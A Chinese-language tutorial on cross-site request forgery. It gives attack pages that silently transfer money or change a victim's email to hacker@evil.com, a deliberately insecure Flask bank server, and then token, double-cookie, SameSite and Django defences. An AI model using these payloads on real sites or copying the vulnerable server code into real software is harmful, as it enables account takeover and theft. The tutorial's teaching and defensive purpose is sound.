目录
- 一、CSRF攻击原理
- 二、攻击类型与示例代码
-
- [2.1 GET请求CSRF攻击](#2.1 GET请求CSRF攻击)
- [2.2 POST请求CSRF攻击](#2.2 POST请求CSRF攻击)
- [2.3 JSON API CSRF攻击](#2.3 JSON API CSRF攻击)
- [2.4 复杂CSRF攻击(带用户交互)](#2.4 复杂CSRF攻击(带用户交互))
- 三、完整示例:易受攻击的服务器
- 四、防护解决方案
-
- [4.1 同步令牌模式(最常用)](#4.1 同步令牌模式(最常用))
- [4.2 双重Cookie验证](#4.2 双重Cookie验证)
- [4.3 SameSite Cookie属性](#4.3 SameSite Cookie属性)
- [4.4 现代框架内置防护(Django示例)](#4.4 现代框架内置防护(Django示例))
- 五、建议和总结
一、CSRF攻击原理
跨站请求伪造(CSRF)是一种攻击,迫使终端用户在当前已登录的Web应用程序上执行非本意的操作。
基本攻击流程:
-
用户登录信任网站A
-
网站A验证通过,在浏览器设置Cookie
-
用户未退出A的情况下,访问恶意网站B
-
B的页面包含针对A的请求
-
浏览器自动携带A的Cookie发送请求
-
A服务器认为这是用户的合法请求
二、攻击类型与示例代码
2.1 GET请求CSRF攻击
javascript
<!-- malicious-site.html -->
<!DOCTYPE html>
<html>
<head>
<title>恶意网站</title>
</head>
<body>
<h1>点击看美女图片!</h1>
<!-- 隐藏的CSRF攻击 -->
<img src="http://victim-bank.com/transfer?to=attacker&amount=1000"
style="display:none">
<p>正在加载...</p>
<script>
// 自动提交GET表单
setTimeout(() => {
document.write('<iframe src="http://victim-bank.com/transfer?to=attacker&amount=5000" style="display:none"></iframe>');
}, 1000);
</script>
</body>
</html>
2.2 POST请求CSRF攻击
javascript
<!-- malicious-post.html -->
<!DOCTYPE html>
<html>
<body>
<h1>免费抽奖!点击参与</h1>
<form id="csrfForm" action="http://victim-bank.com/transfer" method="POST" style="display:none">
<input type="hidden" name="to" value="hacker_account">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="currency" value="USD">
</form>
<script>
// 用户点击时自动提交
document.addEventListener('click', function() {
document.getElementById('csrfForm').submit();
});
// 或者页面加载后自动提交
window.onload = function() {
document.getElementById('csrfForm').submit();
};
</script>
</body>
</html>
2.3 JSON API CSRF攻击
javascript
<!-- malicious-json.html -->
<!DOCTYPE html>
<html>
<body>
<h1>欢迎来到我们的网站</h1>
<script>
// 利用简单请求特性进行CSRF
fetch('http://victim-api.com/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'email=hacker@evil.com&password=hacked123'
});
// 或者使用form表单
function submitJsonCsrf() {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'http://victim-api.com/api/settings';
form.style.display = 'none';
const input = document.createElement('input');
input.name = 'data';
input.value = JSON.stringify({theme: 'dark', backupEmail: 'hacker@evil.com'});
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
submitJsonCsrf();
</script>
</body>
</html>
2.4 复杂CSRF攻击(带用户交互)
javascript
<!-- complex-csrf.html -->
<!DOCTYPE html>
<html>
<body>
<h2>您中奖了!请确认信息领取奖品</h2>
<button onclick="claimPrize()">点击领取</button>
<script>
function claimPrize() {
// 第一步:更改用户邮箱
const form1 = document.createElement('form');
form1.action = 'http://victim-site.com/change-email';
form1.method = 'POST';
form1.innerHTML = '<input name="email" value="hacker@evil.com">';
document.body.appendChild(form1);
form1.submit();
// 第二步:等待后执行转账
setTimeout(() => {
const form2 = document.createElement('form');
form2.action = 'http://victim-bank.com/transfer';
form2.method = 'POST';
form2.innerHTML = `
<input name="to" value="hacker_account">
<input name="amount" value="5000">
`;
document.body.appendChild(form2);
form2.submit();
}, 500);
}
</script>
</body>
</html>
三、完整示例:易受攻击的服务器
python
# vulnerable_server.py - 易受CSRF攻击的服务器
from flask import Flask, request, render_template_string, make_response
import json
app = Flask(__name__)
# 模拟用户数据库
users = {
'alice': {'password': '123456', 'balance': 10000, 'email': 'alice@example.com'}
}
# 登录页面(易受攻击)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if users.get(username) and users[username]['password'] == password:
resp = make_response('登录成功!<br><a href="/dashboard">进入控制面板</a>')
resp.set_cookie('session_id', username) # 简单cookie认证
return resp
return '''
<form method="POST">
用户名: <input name="username"><br>
密码: <input name="password" type="password"><br>
<button type="submit">登录</button>
</form>
'''
# 转账功能(没有CSRF防护)
@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
user = request.cookies.get('session_id')
if not user or user not in users:
return '请先登录'
if request.method == 'GET':
# GET方法允许转账 - 高危!
to_account = request.args.get('to')
amount = request.args.get('amount')
if to_account and amount:
users[user]['balance'] -= int(amount)
return f'转账成功!向{to_account}转账{amount}元'
elif request.method == 'POST':
# POST方法但没有CSRF防护
to_account = request.form.get('to')
amount = request.form.get('amount')
if to_account and amount:
users[user]['balance'] -= int(amount)
return f'POST转账成功!向{to_account}转账{amount}元'
return '''
<form method="POST">
收款账户: <input name="to"><br>
金额: <input name="amount"><br>
<button type="submit">转账</button>
</form>
'''
# 查看余额
@app.route('/dashboard')
def dashboard():
user = request.cookies.get('session_id')
if not user or user not in users:
return '请先登录'
return f'''
用户名: {user}<br>
余额: {users[user]['balance']}<br>
<a href="/transfer">转账</a>
'''
if __name__ == '__main__':
app.run(debug=True, port=5000)
四、防护解决方案
4.1 同步令牌模式(最常用)
python
# secure_server.py - 使用CSRF令牌防护
import secrets
from flask import Flask, request, render_template_string, make_response, session
app = Flask(__name__)
app.secret_key = 'your-secret-key-here'
# 生成CSRF令牌
def generate_csrf_token():
if '_csrf_token' not in session:
session['_csrf_token'] = secrets.token_hex(16)
return session['_csrf_token']
app.jinja_env.globals['csrf_token'] = generate_csrf_token
# 验证CSRF令牌
def validate_csrf_token():
token = session.get('_csrf_token')
if not token:
return False
# 从表单或header中获取令牌
request_token = request.form.get('_csrf_token') or request.headers.get('X-CSRF-Token')
return token == request_token
# 受保护的路由
@app.route('/secure-transfer', methods=['GET', 'POST'])
def secure_transfer():
user = request.cookies.get('session_id')
if not user:
return '请先登录'
if request.method == 'POST':
# 验证CSRF令牌
if not validate_csrf_token():
return 'CSRF验证失败', 403
to_account = request.form.get('to')
amount = request.form.get('amount')
if to_account and amount:
return f'安全转账成功!向{to_account}转账{amount}元'
# 渲染包含CSRF令牌的表单
token = generate_csrf_token()
return f'''
<form method="POST">
<input type="hidden" name="_csrf_token" value="{token}">
收款账户: <input name="to"><br>
金额: <input name="amount"><br>
<button type="submit">安全转账</button>
</form>
'''
4.2 双重Cookie验证
javascript
// 前端JavaScript示例
// 设置自定义header
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Token': getCookie('csrf_token') // 从cookie读取
},
body: JSON.stringify({to: 'account', amount: 100})
});
// 后端验证示例(Node.js/Express)
app.post('/api/transfer', (req, res) => {
const csrfTokenCookie = req.cookies.csrf_token;
const csrfTokenHeader = req.headers['x-csrf-token'];
if (!csrfTokenCookie || csrfTokenCookie !== csrfTokenHeader) {
return res.status(403).json({error: 'CSRF验证失败'});
}
// 处理业务逻辑
});
4.3 SameSite Cookie属性
javascript
# 设置SameSite Cookie
from flask import make_response
@app.route('/login')
def secure_login():
resp = make_response('登录成功')
resp.set_cookie(
'session_id',
'encrypted_value',
httponly=True, # 防止XSS读取
secure=True, # 仅HTTPS传输
samesite='Strict' # 严格SameSite策略
# samesite='Lax' # 或宽松模式,允许GET导航
)
return resp
4.4 现代框架内置防护(Django示例)
javascript
# Django settings.py
MIDDLEWARE = [
'django.middleware.csrf.CsrfViewMiddleware', # 自动启用CSRF防护
]
# Django模板中自动包含CSRF令牌
<form method="post">
{% csrf_token %} <!-- Django自动生成令牌 -->
<!-- 表单内容 -->
</form>
# AJAX请求中手动添加令牌
const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value;
fetch('/api/endpoint', {
method: 'POST',
headers: {
'X-CSRFToken': csrftoken,
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
五、建议和总结
安全建议:
-
强制实施CSRF防护
所有状态修改操作必须验证CSRF令牌
对GET请求使用幂等性设计
-
深度防御策略
结合多种防护措施:令牌 + SameSite + Referer验证
关键操作增加二次验证(如短信、密码确认)
-
Cookie安全配置
javascript
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict; Path=/
-
API安全设计
对非简单CORS请求进行预检
使用自定义请求头
实施OAuth2等现代认证协议
-
定期安全审计
检查所有表单是否包含CSRF令牌
验证CORS和Referer策略
测试关键业务接口
总结:
-
CSRF攻击本质:利用浏览器的自动凭据发送机制
-
核心防护原则:确保请求来自合法源且用户明确意图
-
最佳实践组合:
同步令牌模式(主流方案)
SameSite Cookie(现代浏览器支持)
验证Referer/Origin(补充防护)
关键操作重新认证
-
框架选择:优先使用内置CSRF防护的框架(Django、Rails、Spring Security等)
-
持续监控:建立安全日志和异常检测机制
现代发展趋势:
-
使用不可预测的强随机令牌
-
结合Content Security Policy(CSP)
-
基于上下文的动态令牌生成
-
无状态JWT令牌中的CSRF防护
记住:没有单一的完美解决方案,深度防御是关键!
